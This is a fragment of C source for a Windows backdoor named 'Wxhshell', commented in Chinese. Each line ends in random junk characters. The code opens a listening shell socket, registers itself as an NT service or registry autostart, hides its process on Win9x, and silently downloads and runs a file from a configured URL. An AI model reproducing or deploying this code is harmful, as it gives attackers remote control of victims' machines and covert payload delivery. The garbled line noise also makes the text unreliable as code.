} PROCESS_BASIC_INFORMATION; ^k;]"NR
fq]PKLW'
PROCNTQSIP NtQueryInformationProcess; RhH1nf2UR
S@FO&o 0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o)/Pr7Qn
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4=xi)qF/@
kkF)Tro\
HANDLE hProcess; ]:59c{O
PROCESS_BASIC_INFORMATION pbi; ^ RA'E@"
rNii,_
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }OL"38P
if(NULL == hInst ) return 0; `t&{^ a&Y"
|)29"_Kk5
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jC9us>b
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yZ|"qP1
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .h7s.p?
o)AwM"
if (!NtQueryInformationProcess) return 0; s|]g@czan
DAB9-[y+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K>@yk9)vi
if(!hProcess) return 0; HU i?\4
#]kjyT0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ttzNv>L,
W]9*dabem
CloseHandle(hProcess); w +t@G`d
hm`=wceK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `}}:9d
if(hProcess==NULL) return 0; :"\,iH
RZm%4_p4s
HMODULE hMod; [@vz0!@s5
char procName[255]; NQk aW)
unsigned long cbNeeded; GiV%Hcx
zTF{ g+
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O?JJE8~']
=|S%Rzsk
CloseHandle(hProcess); 3/kT'r
}}JMwT
if(strstr(procName,"services")) return 1; // 以服务启动 =?<WCR
C*
`Vb
return 0; // 注册表启动 3@>F-N
} `6D?te
dAh.I3
// 主模块 cz>,sz~i
int StartWxhshell(LPSTR lpCmdLine) r9i?H
{ %lF*g
SOCKET wsl; H5=kDkb
BOOL val=TRUE; 5i!Q55Yv=,
int port=0; "is(
struct sockaddr_in door; )/H;5 cn
>='/%Ad
if(wscfg.ws_autoins) Install(); $YL9 vJV
Gk,Bx1y
port=atoi(lpCmdLine); E.oJ[;
GXtMX ha,
if(port<=0) port=wscfg.ws_port; LL^KZ-
K4c:k;
V
WSADATA data; Jz}nV1G(jz
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #DTKz]i?
rs&]46i/p
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *@2Bh4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VY0.]t
door.sin_family = AF_INET; n~N>;mP
door.sin_addr.s_addr = inet_addr("127.0.0.1"); tIsWPt]Y
door.sin_port = htons(port); Zd*$^P,|
};/QK*
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zUfq.
closesocket(wsl); /`*{57/3
return 1; =}^NyLE?
} ,XD"
p1(|G
Jl
Do_}
if(listen(wsl,2) == INVALID_SOCKET) { >
;,S||
closesocket(wsl); -/yqiC-yx
return 1; %tCv-aX4
} RgJ@J/p"
Wxhshell(wsl); [XfR`@
WSACleanup(); U
v2.Jo/Q
?[D3-4
return 0; f%Q{}fC{*
aF{_"X2
} bx0.(Nv/X
:t}\%%EbmE
// 以NT服务方式启动 b\k]Jx
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P6:9o}K6
{ K:PH:e
DWORD status = 0; TlqHj
DWORD specificError = 0xfffffff; IGdiIhH~2
"g{q=[U}
serviceStatus.dwServiceType = SERVICE_WIN32;
LK^|JE u
serviceStatus.dwCurrentState = SERVICE_START_PENDING; }u Y2-l
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6K/RO)
serviceStatus.dwWin32ExitCode = 0; U<Pjn)M~B
serviceStatus.dwServiceSpecificExitCode = 0; p8rh`7
serviceStatus.dwCheckPoint = 0; l& :EKh
serviceStatus.dwWaitHint = 0; ]K=#>rZrB
( ;FxKm<P@
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DJP6Z
if (hServiceStatusHandle==0) return; 2;}leZ@U
^|Ap_!t$;
status = GetLastError(); m5\T,
if (status!=NO_ERROR) hnnB4]c
{ 0Y.z
serviceStatus.dwCurrentState = SERVICE_STOPPED; U&!TA(Yr
serviceStatus.dwCheckPoint = 0; j#NyNv(jE1
serviceStatus.dwWaitHint = 0; @CMI$}!{V
serviceStatus.dwWin32ExitCode = status; =~#mF<z5
serviceStatus.dwServiceSpecificExitCode = specificError; j{@O%fv=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4ot<Uw5
return; %()d$.F
} ?|nl93m
7#V7D6j1
serviceStatus.dwCurrentState = SERVICE_RUNNING; MqyjTY::Xg
serviceStatus.dwCheckPoint = 0; %pC<T*f
serviceStatus.dwWaitHint = 0; ,/;Aew;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1'kO{Ge*p:
} X\}l" ]
R+ * ; [
// 处理NT服务事件,比如:启动、停止 ^_7|b[Bt
VOID WINAPI NTServiceHandler(DWORD fdwControl) oV|O`n
{ -t`kb*O3`
switch(fdwControl) ("$/sT
{ Ox3=1M0
case SERVICE_CONTROL_STOP: k(gbUlCc
serviceStatus.dwWin32ExitCode = 0; K9!HW&?<|
serviceStatus.dwCurrentState = SERVICE_STOPPED; }LHYcNw^z
serviceStatus.dwCheckPoint = 0; ]33!obM
serviceStatus.dwWaitHint = 0; TOwd+]B
{ &?<uR)tl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X Xque-
} (lk9](;L
return; TCr4-"`r-{
case SERVICE_CONTROL_PAUSE: ^Hd[+vAvR
serviceStatus.dwCurrentState = SERVICE_PAUSED; ]a $6QS
break; j\2Qe%d
case SERVICE_CONTROL_CONTINUE: EX8JlA\-W
serviceStatus.dwCurrentState = SERVICE_RUNNING; %I1@{>OxG
break; PmR].Ohzi
case SERVICE_CONTROL_INTERROGATE: inP2y ?j
break; c[dSO(=
}; gf|uZ9{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~q$]iwwqT
} [FFr}\}bY
x/|W;8g4
// 标准应用程序主函数 'jev1u[
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -Q
WvB
{ !09)WtsEfx
144Y.
// 获取操作系统版本 AdX))xgl
OsIsNt=GetOsVer(); tOwn M1
:(
GetModuleFileName(NULL,ExeFile,MAX_PATH); !_QI<=X
f|[7LIdh-
// 从命令行安装 Sj+H{xJi
if(strpbrk(lpCmdLine,"iI")) Install(); g4K+AK
'aSsyD!?<
// 下载执行文件 [xS7ae
if(wscfg.ws_downexe) { s~M4. 06P
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mm/\\my
WinExec(wscfg.ws_filenam,SW_HIDE); rrD6x>
} TdhfX {nk
uD\R3cY
if(!OsIsNt) { crmQn ^4\
// 如果时win9x,隐藏进程并且设置为注册表启动 W .a>K$
HideProc(); rQ*+
<`R}
StartWxhshell(lpCmdLine); aLk3Yg@X
} b<h((]Q>^
else i~@gI5[k+
if(StartFromService()) \CB^9-V3
// 以服务方式启动 H.5
6
StartServiceCtrlDispatcher(DispatchTable); !:{Qbv&T
else wNB?3v{n
// 普通方式启动 ^<;W+dWdU
StartWxhshell(lpCmdLine); AHf 9H?
tUu'
gs|
return 0; 5 jrR]X
}